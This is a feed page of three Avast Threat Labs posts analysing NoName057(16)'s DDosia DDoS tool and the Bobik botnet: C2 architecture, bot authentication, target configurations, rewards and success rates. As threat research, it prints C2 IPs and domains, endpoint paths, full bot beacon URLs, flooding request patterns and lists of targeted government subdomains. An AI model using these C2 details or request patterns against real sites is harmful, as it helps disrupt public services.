❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayAvast Threat Labs

DDosia Project: How NoName057(16) is trying to improve the efficiency of DDoS attacks

18 April 2023 at 14:22

Through their DDosia project, pro-Russia hacktivist group NoName057(16) is still conducting DDoS attacks, mostly with the goal to take offline websites of institutions and companies in European countries. On its Telegram channels, the group openly communicates the fact that they perform their actions in support of Russia in the war against Ukraine, and it’s apparent that their activities will further continue during the war. The group has been offering payments in cryptocurrencies to people who install their DDosia tool in order to participate in their attacks. We want to create awareness that people who have NoName057(16)’s DDoS tool installed on their computer not only participate in cybercrime, but also support the groups’ warfare activities.

We detect and block DDosia to make the internet a safer place, and we continue to track DDoS victims and configurations of the DDosia botnet because such information helps to mitigate the impact of DDoS attacks.

Since the first Python version needed to be more efficient, the group released a new Go variant of bots in late 2022. SentinelLabs has described the first variant of the Go implementation, including the C2 servers at that time active. A few days later, Team Cymru published an investigation about the botnet architecture describing the DDoS attacks as a largely static infrastructure.

Given the above findings, it is apparent that the C2 structure is still evolving. The primary purpose of the following analysis is to explore the C2 architecture and current communication process between the botnet and C2 servers. Therefore, we have been actively monitoring the DDosia botnet and have found several innovations in the bot implementation and the botnet infrastructure. The C2 infrastructure is composed of one central server and two proxies forwarding bot requests. This, combined with an update mechanism, makes the botnet rather resilient to disruptions. The latest versions also include a bot authentication mechanism for all the C2 communication along with IP address blocklisting, presumably to hinder tracking of the project.

Implementation Overview

The first implementation of DDosia came into the world around July 2022. Being authored by the NoName057(16) group, there was interestingly a brief coexistence with the Bobik botnet before the botnet was dismantled, presumably in favor of DDosia. It was written in Python using threads as a means of parallelism; nevertheless, it was still lacking in terms of efficacy. Since the first version, DDosia relied on HTTP protocol for C2 communication, with JSON configs distributed by the servers.

The lack of efficacy presumably motivated changes in DDosia, namely the move from Python to Go that we saw in late 2022, with SentinelLabs describing the first Go variants. The main advantage of Go in comparison to Python is direct compilation into native code along with the absence of Python’s GIL that may severely affect the performance of threaded code in Python. Interestingly, these new versions are also multi-platform, as we’ve seen variants for all major operating systems (Windows, macOS, Linux, Android). Evidently, the bot development is still in progress, as we see new functionalities, such as HTTP authentication, being added to DDosia along with slight changes in the configuration file.

Console output of the Go-Stresser version 1.0 – variant 1

Go Implementation

Let’s take a closer look at the second variant of DDosia bot from March 6, 2023, that came up with the authentication mechanism, presumably to combat researchers snooping for lists of targets.

Console output of the Go-Stresser version 1.0 – variant 2
Build Package

The aforementioned variant has support for multiple architecture as well as multiple platforms; unsurprisingly, it is also written in Go. The builds are distributed via the Telegram channel β€œProject DDosia” in the form of a zip file with the builds as follows:

  • Windows x64 and arm64
  • Linux x64 and arm64
  • macOS x64 and arm64

The names of the executable are changed sometimes; there is a list of the captured names:

  • dosia_app_(windows|macos|linux)_(x64|arm64)
  • d_(win|mac|linux)_(x64|arm64)
  • pd_(win|mac|linux)_(x64|arm64)
  • dosia_(win|mac|linux)_(x64|arm64)
Execution Workflow

A working dir of the bot executable must contain a text file client_id.txt with the User-Hash of the registered user. The form of the User-Hash is a BCrypt hash with these parameters $2a$16$.

The first outcome communication is to use nordvpn.com to get detailed information about the bot IP address that is sent to the C2 server. The second outcome is to use C2 as a POST method to /login URL with data representing information about the bot IP, user ID, and bot identification.

Login to C2

The Client-Hash is the result of a library that returns the OS native machine UUID/GUID. It is an open-source implementation of Go MachineID by Denis Brodbeck. The Client-hash has a suffix representing the current PID (5481 in this case).

Login response from C2 during login

If the authentication is successful, C2 returns HTTP/1.1 200 OK with a token in the form of epoch/Unix timestamp, and the target configuration can then be downloaded via GET /client/get_targets. The first variant of the DDosia bot does not implement any authentication mechanism, but the valid token is necessary to get the target configuration successfully in the current C2 architecture; otherwise, 401 Unauthorized is returned.

Getting targets from C2

The returned JSON file is similar to the first variant, with the difference that the original JSON configuration is wrapped up in a data key. Additionally, the new key token is included in each response of GET /client/get_targets. The token is a fresh token for further communication.

The new form of returned configuration

The new configuration supports four attack types: http, http2, nginx_loris, and tcp. The rest of the items are the same as SentinelLabs, and we described previously; see C&C Communication and SentinelLabs.

When the login and get targets operation are successful, the bot creates approximately 20 working threads that perform the DDoS attack using a synchronized method since the bot counts the number of successful connections. Therefore, the bot waits for an attacked server response; if the response is 200, the attempt is counted as a successful attack. Subsequently, the newest bot implementation is eight times faster than the initial implementation in Python.

Continuous statistics are sent each ~four minutes back to the C2 server through POST /set_attack_count.

Sending the attacks’ statistics back to C2

These statistics help the attacker track the target configuration’s effectiveness and respond in time with a new configuration. If everything goes as expected, a new target configuration is requested every ~10 minutes. However, sometimes the C2 server is unable to handle requests, and a connection cannot be established. In this case, the bot continues on the latest target configuration and tries to contact C2 later. Figure 1 provides an overview of the communication between the C2 server and a bot.

Figure 1. C2 communication workflow

Bot Updater

One of the unknowns remains the question of the bot updates. Our investigations into this area are still in progress, and we are trying to confirm our hypothesis that there is an automatic bot updater.

We’ve observed a few takedowns of C2 servers and new build releases in the last months. We expected a delay of several days between the bot updates and further DDoS attacks. However, the time between the C2 takedown and the new DDoS attacks was several hours. Therefore, our hypothesis is that there is an automatic updater since it is improbable to manually update approximately 7,200 independent clients within several hours.

The count of new bot releases was considerable in the last four months, as Figure 2 illustrates. So, there should be some automatic updater.

Figure 2. DDosia executable hits

C2 Protection

All C2 servers have used HTTP protocol to communicate, which was unencrypted. So, it was only a matter of time before the DDosia authors tried to implement a mechanism to protect the target configurations.

Temporary DNS Records

The first attempt to implement the protection mechanism was around January 28, 2023. The main idea was to use temporary DNS records, which are rotated every midnight. The DNS record is then reconfigured to a non-existent record. As a result of the 24-hour period, the initial DNS record is not captured by any online monitoring services, so the history of DNS records includes only the non-existent or invalid records. Consequently, the valid IP address of C2 severe is not recorded anywhere, and it would not be easy to find them.

This mechanism has been seen in the cases on January 28-29, 2023. Two builds with hardcoded DNS records were set to non-existent IPs after midnight. The next day, the new builds with new DNS records were released.

For example, deac48f968269bb5e75ceb9417f6680d8787a03ba0768e25d8716f189a079574 build has two DNS records (pkcds2cas7.ignorelist.com, pqw2vsi21mx74.twilightparadox.com) that led to 212.73.134.208. However, the DNS records were reconfigured to 127.0.0.2 from midnight on January 27-28, 2023. So, if you resolve the DNS records today, you cannot resolve the initial IP since the address is already untraceable.

The same case was seen from midnight on January 28-29, 2023, on the 5c1be24a5fa75b70c50515a061d2d3ce911b785188328408edc0a79dfc5e3173 build. The other two DNS records (trafficsearch.ddns.net, trafficanalyzer.bounceme.net) led to 94.140.115.129. The DNS records were also reconfigured to invalid IP addresses; namely 0.0.0.0.

Implementing this mechanism was probably not successful because the count of reported targets on the group telegram was lower on January 28, as Figure 3 demonstrates. Moreover, there were reported taken-down domains from the previous target configuration. Finally, the build that was released on January 30 contained hard-coded IP addresses of the C2 server (94.140.114.239).

Request Authentication

The second attempt to implement the protection mechanism was on March 7, 2023. The communication with the C2 server is also via HTTP, but a token mechanism was designed and realized. Therefore, anybody cannot download the target configuration (list of attacked domains) freely without authentication as before.

Figure 4. Authentication mechanism

The first communication with the C2 server is the login request, as described above in Figure 4. First, the request must include the header User-Hash, which users obtain during the registration process in the DDosia Project Telegram channel. The other necessary condition is data about the GeoIP of the bot. If the IP address or ISP of the given bot is on the blocklist (e.g. Avast), the authentication process ends with 401 Unauthorized. However, if the authentication is successful, the login request reruns the token in the string form.

The token is valid for approximately 15 minutes, and the constant 0xF must be added each time the token is used for the following requests to the C2 servers. The adjusted token is included in the HTTP header as a Time entry, and each response then consists of a new fresh token value.

C2 Architecture

The C2 architecture is dynamically changing. We noticed four IP addresses related to the DDosia project since the beginning of 2023. Three addresses are active web servers run on Ubuntu using nginx/1.18.0. More importantly, these web servers return the same target configurations and provide the services like logging into the botnet as well as reporting statistics to the attackers. The currently discovered C2 architecture of the DDosia project is shown in Figure 5.

Figure 5. C2 architecture

Using HTTP, the central C2 server (M) is contacted by proxy C2 servers P1 and P2 throughout port 5001. The DDosia bots reach the proxy servers also using HTTP via port 80, where requests are forwarded to the central server. Any suspicious outcome from the primary server has not been detected yet. However, one suspicious server or client communicates, especially with the primary and P2 servers. We recorded the most network activity of a suspicious IP (161.35.199.2) around February 14, 2023. The purpose of this suspicious machine is still unknown, but it can be a testing or monitoring service.

Besides the bots’ communication over port 80, we detected connections on port 22 for both proxy servers. The transmission on port 22 is not implemented in the bot executables we analyze, but our telemetry indicates a higher communication volume. However, most captured IPs contacting port 22 are suspicious due to port scans or SSH brute force attacks.

In addition, the C2 infrastructure relies heavily on proxy servers which contributes to the resilience of DDosia’s infrastructure. Nevertheless, our monitoring revealed that outages indicated by 502 Bad Gateway error responses from the proxy servers. The first significant disruption occurred during the deployment of the authentication mechanism. The outage lasted for several hours – the duration and the timing indicates that development issues may have been responsible. The root of the problem seems to be partially fixed as recent outages were resolved within one hour.

DDosia Tracking

We still continue to monitor the DDosia project targets and the count of users that have joined the project. We will publish detailed information about the targets, configurations, and volunteers in a subsequent post. Figure 6 illustrates a quick overview.

Figure 6. Attacked countries and trend of the joined users

We’ve also observed that DDosia’s community is steadily growing, though there can be doubts about the capacity new members can contribute. Nevertheless, it seems that in this specific case, a volunteer-based model is rather efficient and easier to manage than a malware-based botnet; however, its availability is probably enabled by the political circumstances.

Conclusion

It is evident that the project is still in development, and NoName057(16) is trying to improve the efficiency of the DDoS attacks. They are trying to move to a more efficient Go platform because the pilot variant written in Python was lacking in performance.

Many of the changes seem to be motivated by protecting the target configuration and C2 architecture secrecy. Hence, the latest version of DDosia bots has realized the authentication mechanism for C2 communication.

Our most interesting observation was probably the implementation of an update mechanism in the client since previous updates caused only short-term disruptions to the project’s effectiveness. This has also increased the resilience of the C2 mechanism, as it is no longer necessary to do a manual update after a server takedown. The update mechanism is still under our investigation. In a future blog post, we plan to release a more detailed analysis of the tracker’s historical data.

References

The post DDosia Project: How NoName057(16) is trying to improve the efficiency of DDoS attacks appeared first on Avast Threat Labs.

DDosia Project: Volunteers Carrying out NoName(057)16’s Dirty Work

11 January 2023 at 15:52

A few months ago, we published a blog post about a pro-Russian hacker group called NoName057(16). The group carried out DDoS attacks using a botnet consisting of devices infected with malware called Bobik. NoName057(16)’s success rate using the Bobik botnet to attack selected targets was around 40%. However, the success rate rapidly dropped when the botnet was taken down – as was reportedΒ in the group’s Telegram channel early September.Β 

When we analyzed the Bobik malware in the summer, we discovered another Command and Control (β€œC&C”) server, outside of the Bobik botnet, used for DDoSing. The server’s configuration included similar DDoS targets to the Bobik botnet’s target list. The newer C&C server commanded clients written in Python, and we detected a command on August 1, 2022. Later, on September 15, 2022, NoName057(16) announced the launch of the DDosia project, which matched the sample we found before their announcement on Telegram. The group entices people to join their efforts by offering prizes for the best performers, paying rewards out in cryptocurrencies.Β Β 

On December 5, 2022 the original DDosia C&C server we discovered was taken down. The group, however, continues to post about their attacks, and promote the project, indicating a new C&C server was set up.Β 

By launching the DDosia project, NoName057(16) tried to create a new parallel botnet to facilitate DDoS attacks. The group publicly announced the DDosia project, while the Bobik botnet deployment was secretive. The NoName(057)16 attracts project members by offering cash rewards to members carrying out the most successful DDoS attacks. After the takedown of the Bobik botnet, we monitored the newly created DDosia botnet through the aforementioned C&C server.Β 

The DDosia client consisted of a Python script created and controlled by NoName057(16). The DDosia tool is only available for verified/invited users via a semi-closed Telegram group, unlike the Bobik malware which was deployed on victims’ devices without their knowledge. The success rate of the original DDosia project we tracked was lower than the Bobik botnet, but has the potential to be a nuisance when targeted correctly.

Project PhilosophyΒ 

Maintaining a botnet consisting of involuntary clients is expensive. The evidence from our previous research showed that NoName057(16) did not own a botnet which they could use as a distribution channel. The group instead used the Bobik botnet, which was, in fact, a sub-botnet of the RedLine Stealer bot that was rented as a botnet-as-a-service. Clearly, the group had the financial resources to afford renting out the botnet, and now to pay best performers of the DDosia project.Β 

The DDosia project consists of a closed community of volunteers, so-called β€œheroes”. Project members register using a Telegram bot. After registering, the bot sends a download URL with DDosia executables and a text file with a unique ID identifying the registered user.Β 

DDosia project members have the option to register a crypto-wallet using their ID number. If a member carries out a sufficiently high number of attacks, they can be awarded up to 80,000 Russian rubles in cryptocurrencies such as Ethereum, BitCoin, and Tether. Members can also check information about their overall statistics in the DDosia Telegram channel.Β 

In short, NoName057(16) is building a closed community of users who make their computing time available for DDoS attacks. There areΒ approximately 1,000 β€œheroes”, according to the project’s closed Telegram channel.Β 

Technical DetailsΒ 

To become a DDosia member you have to go through a registration process facilitated by the @DDosiabot in the dedicated DDosia project Telegram channel. After registering, members receive a DDosia.zip archive, which includes an executable. NoName057(16) strongly recommends using a VPN client, connecting through servers outside of Russia or Belarus, as traffic from the two countries is often blocked in the countries the group targets.

The structure of the ZIP archive is as follows:

DDosia.zip

  • Linux and macOS folder
    • The Linux and macOS folders contain a Python script with the DDosia application – Dosia.py. The script uses simple obfuscation – the source code is stored as a text file with escaped hex digits corresponding to ASCII characters of the Python script.
  • WindowsΒ 
    • The Windows folder includes one Dosia.exe file which is the DDosia Python script packaged as a PyInstaller executable – nothing less, nothing more.Β 
  • Each folder of the ZIP archive also contains client_id.txt storing a unique ID of the registered user.Β 

DDosia ApplicationΒ 

The workflow of the DDosia application is straightforward and does not contain any interesting techniques or methods. So, we just summarized the basic aspects of its implementation.Β 

At the beginning, DDosia reads the client_id.txt file storing the ClientId of the registered user. The first C&C communication sends a list of DDoS targets managed by NoName057(16). DDosia creates worker threads which are used to perform DDoS attacks. The number of threads corresponds to five times the number of logical cores. Similarly, to Bobiks’ attacks, DDoS attacks can be conducted using HTTP, but also on a lower layer via the TCP protocol; the HttpTarget and TcpTarget classes are designed for these attacks.Β 

Statistical information of each DDosia bot is sent back to the C&C server every minute. The information is identified by the ClientId, and the data contains a list of attacked domains and the number of successful and attempted attacks. A successful attack means that DDosia sends a request to the defined server and receives a response from the server. The communication with the C&C server is unencrypted and unauthenticated, so anyone can easily fake the statistical data and thus win the payout of the day.Β 

C&C ServerΒ 

We found one DDosia C&C located in Russia ⎼ 109.107.181.130. Our Nmap scan discovered three open ports with the following services: 

4200/tcpΒ 

This port was controlled by the Nginx 1.23.1 web server. There was a web page with the title DosiaBotFront; its design is illustrated in Figure 1. It was the administrator console for the configuration of DDosia bots.

Figure 1. Admin interface of Dosia C&C serverΒ 
5001/tcpΒ 

The next open port was 5001, classified as the commplex-link. A few other scans identified an HTTP service on this port.
The Nmap scan detected that the C&C communication is unencrypted on the HTTPS layer.Β 

Other portsΒ 

The new results uncovered one thousand opened ports when we repeated the port scan. The attackers want to make the port scan more difficult and time-consuming.Β 

C&C Server DiscussionΒ 

The main DDosia C&C server (109.107.181.130) was taken down on December 5, 2022, at 9 AM UTC. However, the group continues to actively post on their Telegram channel, so the group must have another botnet.Β 

C&C CommunicationΒ 

The DDosia application has two hard-coded URLs that are used to download and upload data to the C&C server. The first one is used to download a list of domains (targets) that will be attacked, the second one is used for statistical reporting.Β 

  • Get targets: hxxp://109.107.181[.]130:5001/client/get_targetsΒ 
  • Send statistical information: hxxp://109.107.181[.]130:5001/set_attack_countΒ 

The list of targets is sent as an uncompressed and unencrypted JSON file. There are two items: targets and randoms. The former contains approximately 20 properties that define DDoS targets; each target is described via several attributes: id, type, method, host, path, body, and more. The latter describes how random strings will look via fields such as: digit, upper, lower, and min/max integer values; see Figure 2.Β 

DDosia generates random values at runtime for each attack. The reason is straightforward; the attackers want to randomize HTTP requests and make each HTTP request unique for a better success rate. The randoms replace placeholders in the path or body of the target definition, and their positions are located using this definition $_{number}, as Figure 2 demonstrates.Β 

Figure 2. JSON file download from C&C server

DetectionsΒ 

The DDosia project is not classified as common malware, as people execute the application voluntarily. Nevertheless, we actively detect the DDosia application, but the number of hits approaches zero in the limit.Β 

Our telemetry shows only a handful of detections related to DDosia. However, we registered many exceptions that our users added to their Avast Antivirus. The most notable exceptions are from Russia, namely St. Petersburg, Moscow, Seversk, Tyumen, Pudomyagi, and Rostov-on-Don. Other countries we observed using adding the project to their exceptions are Canada (Toronto), and Germany (Berlin).Β 

PerformanceΒ 

One DDosia β€œhero” can generate approximately 1,800 requests per minute using four cores and 20 threads. Naturally, the speed of request generation depends on the attacker’s internet connection quality. The project currently has approximately 1,000 members. Let’s assume at least half of the users are active, then the total count of requests to defined targets can be up to 900,000 req/min. This can be enough to take down web services that do not expect heavier network traffic.Β 

Dosia TargetsΒ 

The targets of the DDosia project are very similar to Bobik’s targets. The group focuses on private as well as public sectors such as courts, banks, education, public media, government, and transport services (airport, railway). For example, the District Court in SΕ‚upsk (PL), West Kredit (LV), Cherkasy National University (UA), Maaleht (EE), or Central Finance and Contracts Agency (LV) were targets.Β 

Another aspect of DDosia’s targets is the distribution of attacked countries. Although NoName057(16) was founded to support the β€œspecial military operation” in Ukraine, the most attacked domains are from Poland, Latvia, Lithuania, followed by Ukraine.Β 

Dosia Success RateΒ 

We have been monitoring the DDosia project configurations since August 1, 2022 up until the original server was taken down on December 5, 2022. More than 2,200 DDoS targets were captured within four observed months. The NoName057(16) Telegram channel boasted about 390 successful attacks, so the success rate was approx. 17% with approximately 1,000 DDosia β€œheroes”.Β 

The green line of Figure 3 illustrates a trend of successful attacks in the observed period. However, it should be noted that the higher rate of successful attacks is affected by the activity of the Bobik’s botnet, which performed DDoS attacks in parallel. Therefore, the real success rate of DDosia should be counted from approximately September 7, 2022, when the Bobik botnet was taken down. So, if we consider the take-down of the Bobik botnet, the DDosia statistics are 1,400 DDoS targets and 190 successful attacks. Therefore, the current success rate of the DDosia project is approximately 13%.Β 

The graph also shows a peak on September 2, 2022. NoName057(16) vehemently tried to attack Ukrainian schools and educational institutions at the beginning of the new school year. Similarly, the same targets we observed on the former Bobik server. The institutes under attack were, for instance, the School of Athens, Ukrainian Medical Journal, School Management and Learning Systems, First Cambridge Education Center, and Libera School. Fortunately, none of the targets were taken down on September 2, 2022, although there were disproportionate numbers of configuration changes and attacked domains.Β 

Figure 3. DDosia botnet statistic

In November the success rate started to increase significantly. There is also a correlation between the number of attacked domains and the number of successful attacks. The attacked domains (blue line) and successful attacks (green line) trends are approaching each other, which can announce upward trends.Β 

A possible explanation for this upward trend is that the selected targets for the attacks are more homogenous than in the previous periods where the group attacked various targets. In comparison, a list of November’s selected targets included targets mostly within one primary domain. Therefore, if an attack on any subdomain of the main domain was successful, the probability that most subdomains will also be taken down is high because they use a similar platform, security, and network. The group boasted about their β€œsuccessful” attacks on their Telegram channel. The strategy is a logical step to increase the NoName057(16)’s prestige. Right after the Bobik server went offline on September 5, 2022 the group mostly just postedΒ bizarre pictures of bears and cartoons, rather than boasting about successful attacks.Β 

DDosia Attacks on Poland’s GovernmentΒ 

The attack on the Polish government domain is a prime example of the new selection strategy. The attackers focused on most subdomains of the .gov.pl domain since November 5, 2022; see the list of selected subdomains:Β 

  • sanok.sr.gov.plΒ 
  • belchatow.sr.gov.plΒ 
  • siemianowice.sr.gov.pl
  • aleksandrowkuj.sr.gov.plΒ 
  • trzcianka.sr.gov.plΒ 
  • gdansk-poludnie.sr.gov.plΒ 
  • zywiec.sr.gov.plΒ 
  • prudnik.sr.gov.plΒ 
  • katowice-wschod.sr.gov.plΒ 
  • brodnica.ug.gov.plΒ 
  • radom.ap.gov.plΒ 
  • opolska.policja.gov.plΒ 
  • aplikacja.ceidg.gov.plΒ 
  • powietrze.gios.gov.plΒ 
  • exp.lobi.nencki.gov.plΒ 
  • cpsdialog.gov.plΒ 
  • puesc.gov.plΒ 
  • nawa.gov.plΒ 
  • kssip.gov.plΒ 
  • ezamowienia.gov.plΒ 

Most sr.gov.pl web servers run on the same platform (Nginx v1.16.1). If the attackers pick up subdomains running on the same platform, they have a high chance of taking down the selected servers. More importantly, most subdomains (web pages) only have informational characters and do not provide any online services critical to the government. So, these attacks have no value from a cyber attack perspective, except for propaganda on the group’s Telegram channel.Β 

Another essential point is the attack on the Central Register and Information on Economic Activity (aplikacja.ceidg.gov.pl). The website expects a higher page load because there are electronic services for entrepreneurs. Therefore, the website was more resilient to DDosia attacks.Β 

An example of an attack without any value is the attack on Poland’s municipality Gmina Brodnica. Their website does not include anti-Russian and Russophobic content; however, it was also under attack despite the NoName057(16) declaration to attack sites with anti-Russian and Russophobic content; see the Telegram post below. Therefore, it is evident that NoName057(16) is not after operational impact in the war in Ukraine but rather uses the conflict as an opportunity to establish itself in the community.Β 

DDosia ConfigurationsΒ 

Our telemetry has been recording the DDosia configurations fromΒ August 1, 2022 – December 5, 2022. Firstly, Figure 3 above illustrates that the configurations are changed four times per day on average; see the red line. Secondly, the average number of attacked domains per day is seventeen.Β 

RewardsΒ 

NoName057(16) promises a cryptocurrency reward for the most productive members. Suppose the participants link their crypto-wallet during the registration; NoName057(16) posted a few messages announcing the most active members, as shown in the posts below.Β 

The prize for the winners is in the order of thousands of rubles (hundreds of dollars). We cannot verify whether the crypto money was really sent to the said clients and thereby verify that the group has enough financial resources at their disposal.Β 

Individual participants send statistics about their progress and achievements periodically to the C&C server; however, in plain text without any protection. A body of statistical information is a simple JSON file with ClientId and IDs of attacked servers. Therefore, anyone can counterfeit their own statistics because each client can obtain their ClientId from client_id.txt. A simple Python script below can fake the statistics, and anyone can be the most active client on any given day. The script also contains a list of the targets’ IDs that can be downloaded from the C&C server in plain text.Β 

ConclusionΒ 

Based on the aim of our previous study, which was monitoring the activity of the NoName057(16) group, we have captured another method used for DDoSing against Ukraine and the countries surrounding it and siding with Ukraine.Β 

NoName057(16) has changed their philosophy and built a new botnet using a publicly available tool compared to the Bobik malware that was used previously. The tool is a simple Python script called DDosia. The depth analysis confirms that DDosia is only a tool for DDoSing and does not contain any backdoor functionality.Β 

The success rate of the DDosia attacks is ~ 13% percent of all of their attack attempts. DDosia is available via a closed community on Telegram, and the number of members is approximately 1,000. If the community is on the rise, we expect the success rate to be higher. Therefore, the successful attack depends on the motivation that NoName057(16) provides to volunteers. At this moment, 1,000 registered heroes may actually mean 500 active instances of DDosia, so servers that expect a high network activity load are more resilient to attacks.Β 

The targets selected for DDoS attacks are the same as in our previous study. In short, NoName057(16) focuses on companies and organizations that support Ukraine or are β€œanti-Russian”. At the beginning of November, the target selection was shifted and oriented on subdomains of previously successfully attacked domains, which increased the success rate.Β 

The new aspect of DDoS attacks is the possibility of being rewarded. The group collects statistical information about performed attacks and successful attempts. Subsequently, the best β€œheroes” are paid out in cryptocurrencies. However, the statistics can be easily manipulated.Β 

The NoName057(16) has introduced the DDosia project so they can carry out more DDoS attacks when the previous botnet has been taken down. The power of the attacks is much less than with the previous Bobik botnet. Consequently, time will tell how successful DDosia will be.Β 

Their DDoS attacks are basically unsophisticated, do not have large impacts, and do not aim to cause significant damage. They want to draw attention to themselves in the media, similar to the Killnet group. Nonetheless, NoName057(16) activities are still more of a nuisance than dangerous.Β 

ReferencesΒ 

The post DDosia Project: Volunteers Carrying out NoName(057)16’s Dirty Work appeared first on Avast Threat Labs.

Pro-Russian Group Targeting Ukraine Supporters with DDoS Attacks

6 September 2022 at 07:00

It has now been six months since the war in Ukraine began. Since then, pro-Russian and pro-Ukrainian hacker groups, like KillNet, Anonymous, IT Army of Ukraine, Legion Spetsnaz RF, have carried out cyberattacks. A lesser-known group called NoName057(16) is among the pro-Russian groups attacking Ukraine and the countries surrounding it and siding with Ukraine.

NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Ukraine itself, Estonia, Lithuania, Norway, and Poland. A full list of the group’s targets can be found at the end of this post.Β 

To carry out DDoS attacks, hacker groups utilize botnets. They control them via C&C servers, sending commands to individual bots, which essentially act as soldiers. Uncovering and tracking botnets is complex and time-consuming.

We got our hands on malware called Bobik. Bobik is not new, it’s been around since 2020, and is known as a Remote Access Trojan. Things have, however, recently changed. Devices infected with Bobik are now part of a botnet, and carrying out DDoS attacks for NoName057(16). We can confidently attribute the attacks to the group, as we have analyzed and compared what the C&C server is instructing devices infected with Bobik to do with the attacks the group claims to be responsible for on their Telegram channel.

Toolset

The bots used by the botnet are infected with malware called Bobik, which is written in .NET. The malware has not been tied to a certain group in the past, and is actually a Remote Access Trojan. Its spyware functionalities include keylogging, running and terminating processes, collecting system information, downloading/uploading files, and dropping further malware onto infected devices.

Kill Chain

In the wild, one of the most monitored droppers for Bobik is RedLine Stealer, a botnet-as-a-service cybercriminals can pay for to spread their malware of choice. The usual workflow of Bobik is illustrated in the image below.

At first, an unknown group seems to have purchased RedLine Stealer to deploy – Bobik. The final DDoS module deployment is composed of two basic stages. The first executes Bobik’s Updater via a RedLine Stealer bot. In the second stage, Bobik’s Updater extracts and drops the final DDoS module (Bobik’s RuntimeBroker) and ensures the module’s persistence.

Bobik deployment

When RuntimeBroker is run, the module contacts a C&C server and downloads a configuration file defining targets for DDoS attacks. The module then starts the attacks using a defined count of threads, usually five threads.

The detailed workflow of the Bobik deployment is shown below. The RedLine Stealer Cryptic (installer) deobfuscates the .NET payload of Bobik’s Updater and injects it into the newly created process of the .NET ClickOnce Launch Utility (AppLaunch.exe); see steps 1 – 5.

Bobik deployment using RedLine Stealer Cryptic

The same process is used to execute Bobik’s RuntimeBroker (the DDoS module), because the dropped RuntimeBroker is also packaged and obfuscated via RedLine Stealer Cryptic. Therefore, the dropped Bobik’s RuntimeBroker also deobfuscates the .NET payload of Bobik’s RuntimeBroker and injects it into another AppLaunch process; see steps 6 – 8. After all these steps, the Bobik’s DDoS module is deployed, persistent, and ready to attack.

C&C Servers and Communication

Since June 1, 2022, we have observed Bobik’s network activities. Bobik bots communicate with C&C servers located in Russia and Romania. These two servers are already offline. However, another Romanian server is still active and able to send commands to the bots.

C&C Servers

Since tracking the botnet activity, we have captured three production C&C servers controlling Bobik bots and one development server. The servers run on OS Ubuntu with Nginx (v 1.18.0). RiskIQ reports all servers as malicious with self-signed certificates and servers with bad reputations that previously hosted many suspicious services.

Server 1Β 

The last active server is 2.57.122.243, located in Romania, and its first Bobik’s activity we saw was on June 13, 2022. We also have two DNS records for this malicious server:
v9agm8uwtjmz.sytes.net and q7zemy6zc7ptaeks.servehttp.com.

Server 2

The second server 2.57.122.82 is also in Romania, but the communication with the Bobik bots was deactivated around July 14, 2022. The server is still active. Nevertheless, the server responds with a 502 HTTP code (Bad Gateway).Β  Based on the findings from Server 1, this server used the same v9agm8uwtjmz.sytes.net DNS record, which was reconfigured to Server 1 in the middle of June.

Server 3

The first Bobik’s C&C server we saw was 77.232.41.206 in Russia. The server had opened ports 80 and 443 until June 9, 2022. It is not usable, and therefore de facto offline, by Bobik bots because there is only one opened port for OpenSSH since Bobik requires port 80 for its C&C communication.

Dev Server

One of the C&C servers is a suspectedΒ  development server at 109.107.181.130, listening on port 5001. The server has been active since April and is located in Russia; its reputation is also suspicious. Avast has not detected any hits for this server in the wild. However, one Python sample uses the server as a testing environment.

C&C Communication

The communication between Bobik bots and the C&C servers is mediated using a simple unsecured HTTP request and response via the Nginx web server. The bots obtain appropriate commands from the C&Cs utilizing a URL, see the diagram below.

HTTP communication
Request

The request URL uses the following template:
http://[ip]/[request]/update?id=[sha256]&v=[version]&pr=[flag]

ip: Bobik bots hardcode one of the C&C IPs or one of the DNS records, see Section C&C Servers.
request: defines the purpose of the communications; we registered three types of requests in the form of a GUID.
– notice: the bots report their states.
– admin: this request can open the admin console of the Nginx web server.
– dropper: is a path to a malicious executable representing Bobik’s RuntimeBroker followed by an exe file name.
The exact GUIDs are listed in Appendix.
id: the hash is computed from Windows Management Instrumentation (WMI) information about a victim’s machine like Win32_DiskDrive, Win32_Processor, Win32_BaseBoard, etc. The hash can provide a unique identifier for Bobik bots.
v: the Bobik version; Avast has captured sample versions ranging from 8 to 19.
pr: is a flag (0,1) representing whether the communication with C&C has timed out at least once.Β 

A body of the HTTP request contains one simple XML tag with information about the victim; for instance:
<client a0="1" a1="en-US" a2="en-US" a3="14:03:53" a4="600">; where

  • a0: ProductType (1: Workstation, 2: Domain Controller, 3: Server)
  • a1: CultureInfo.InstalledUICulture
  • a2: CultureInfo.CurrentUICulture
  • a3: DateTime.Now
  • a4: Default timeout for the update of the DDoS target list from the C&C server

See the examples of the notice URLs:

  • http://2.57.122.82/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=AEF97F87751C863548359181B65B60EE86A7D44724040229CDE4622C99AB0B59&v=17&pr=1
  • http://2.57.122.82/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=67F5318073F09F03E762BF727015384589F00282EA26B1798C10581B8DC27F52&v=16&pr=1
  • http://v9agm8uwtjmz.sytes.net/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=B5B72AEBEC4E2E9EE0DAC37AC77EBFB679B6EC6D7EE030062ED9064282F404A7&v=18&pr=1
  • http://q7zemy6zc7ptaeks.servehttp.com/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=BADFD914A37A1FF9D2CBE8C0DBD4C30A9A183E5DF85FCAE4C67851369C2BAF87&v=18&pr=1
Response

The body of the HTTP response contains an encrypted and gzipped XML file configuring bots to the defined DDoS attacks. See the example below:

The bot receives the encrypted data that is decrypted using a simple algorithm, as shown below. The full script is located in the IOC repository.

HTTP response decryptor

The encrypted XML file has an elementary structure, as shown below:

Decrypted XML config

Most of the XML attributes are intuitive, so we will just explain the compound brackets in the path and body attributes. The configuration often uses dynamically generated pieces (definitions) like this: {.,15,20}. The definition dictates what long random text should be generated and in which position.

The definitions are abundantly applied in the path or body of the HTTP requests, where the attackers expect an increased load on the server. The effect is that bots flood servers with meaningless requests. For instance, the first <task> in the image directly above (decrypted XML config) uses this definition: query={.,15,20} which means that the bots generate random texts of 15 – 20 characters long as requests to, for example, the calendar of Poland’s presidential office. Similarly, the second <task> flooded the reference system of bus lines in Ukraine with requests for a password reset, as illustrated in this definition email={.,5,15}%40gmail.com.

